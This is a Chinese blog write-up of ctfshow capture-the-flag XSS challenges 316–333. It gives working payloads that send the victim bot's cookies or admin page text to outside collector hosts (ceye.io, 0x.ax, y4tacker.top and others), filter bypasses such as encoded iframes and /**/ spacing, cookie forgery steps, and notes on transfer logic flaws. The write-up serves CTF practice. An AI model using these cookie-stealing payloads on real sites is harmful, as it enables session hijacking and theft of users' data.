ctfshow-xss

1|0ctfshow xss

这部分的题目都是使用一些xss平台来完成的,当然也可以使用kali里面的的监听功能,例如beef。

316

https://xss.pt/xss.php平台

先创建一个项目之后其他都是勾选默认选项,之后在罗列出来的众多payload里面选择一个合适的进行使用。

使用

<sCRiPt sRC=//0x.ax/kqMm></sCrIpT>

输入paylaod之后在这个平台进行接收,但是由于平台不稳定外加这个题目的背后有一个机器人每隔60s点击一下链接,所以一次输入不一定能成功,要多试几次。flag就在充当管理员的机器人的cookie里面,这里的xss平台起到一个恶意服务器的作用。用于接收被攻击者的敏感信息。

317

过滤了script

既然过滤了script,那么选择一个不含有script的payload就好了,下面等同。

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#x3C;&#x73;&#x43;&#x52;&#x69;&#x50;&#x74;&#x20;&#x73;&#x52;&#x43;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x30;&#x78;&#x2E;&#x61;&#x78;&#x2F;&#x6B;&#x71;&#x4D;&#x6D;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x43;&#x72;&#x49;&#x70;&#x54;&#x3E;>

318

过滤了img

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#x3C;&#x73;&#x43;&#x52;&#x69;&#x50;&#x74;&#x20;&#x73;&#x52;&#x43;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x30;&#x78;&#x2E;&#x61;&#x78;&#x2F;&#x6B;&#x71;&#x4D;&#x6D;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x43;&#x72;&#x49;&#x70;&#x54;&#x3E;>

319

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#x3C;&#x73;&#x43;&#x52;&#x69;&#x50;&#x74;&#x20;&#x73;&#x52;&#x43;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x30;&#x78;&#x2E;&#x61;&#x78;&#x2F;&#x6B;&#x71;&#x4D;&#x6D;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x43;&#x72;&#x49;&#x70;&#x54;&#x3E;>

320

过滤了空格

可以使用/**/或者/进行绕过

这里使用xss平台XSS Platform无法正常回显,所以更换平台

http://ceye.io/

在这个平台注册完帐号之后,会给我们一个地址,接下来在自己payload里面加上分配到地址就好了。

 

<body onload="window.open('http://你的ceye地址/'+document.cookie)">

321

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

322

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

323

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

324

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

325

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

326

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

327

<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">

 

328

<script>window.open('http://ipm4ju.ceye.io/'+document.cookie)</script>

在xss平台拿到的是管理员的cookie,之后伪造cookie即可拿到flag

伪造cookie,在控制台里面打开存储,之后修改cookie的值即可(将xss平台获得到的内容填入即可)

2|0329

这道题就不一样了,群主设置了cookie失效,发给你的cookie没用了

那其实就更直接一点,不用cookie伪造管理员登录,直接拿管理员的html页面内容

Y4师傅的payload:

var img = new Image(); img.src = “http://y4tacker.top/index.php?q=”+document.querySelector(’#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main’).textContent; document.body.append(img);

参照着网页元素解释一下:

#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main:

#top利用id定位到body标签

大于是级与级之间的连接符

div.layui-container是元素类型+class的定位方式

nth-child是子元素选择器,根据括号里面的数字选择对应顺序的子元素,注意编号是包括下两级甚至更多的子元素的,但是每一次只能用下一级的子元素

到最后一级,下面的就是直接文本元素了,这时候可以用.textContent来获取其直接子元素的文本内容

这样,我们就可以在管理员访问该界面的时候,直接拿到管理员看到的文本内容~

还有群主的payload也可以用,思路是一样的,只是群主用的是遍历~

强于web328原因:cookie在被拦截到的时候已经是失效的了,所以盗用cookie将是不可行的方法 payload <script>window.open('http://ssjsj.ak6666.top:20003/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script> 通过document.getElementsByClassName(‘layui-table-cell laytable-cell-1-0-1’)[1].innerHTML获取到指定的内容, getElementsByClassName:获取所有指定类名的元素 还有innerHTML和outerHTML的区别 1)innerHTML:   从对象的起始位置到终止位置的全部内容,不包括Html标签。 2)outerHTML:   除了包含innerHTML的全部内容外, 还包含对象标签本身。

330

331

 

 

332

存在逻辑漏洞

先用下列代码创建一个账户,之后再创建一个正常账户,之后用第一个账户给第二个账户转账-999999

<script>alert(1)</script>

333

存在逻辑漏洞

先用下列代码创建一个账户,之后再创建一个正常账户,之后用第一个账户自己给自己转账,每次转帐不能超过余额,用bp跑

<script>alert(1)</script>
330和331目前还不能理解,等技术提升之后再进行补全。


__EOF__

本文作者f1sh
本文链接https://www.cnblogs.com/XYY-J/p/17161423.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   小咸鱼儿  阅读(179)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示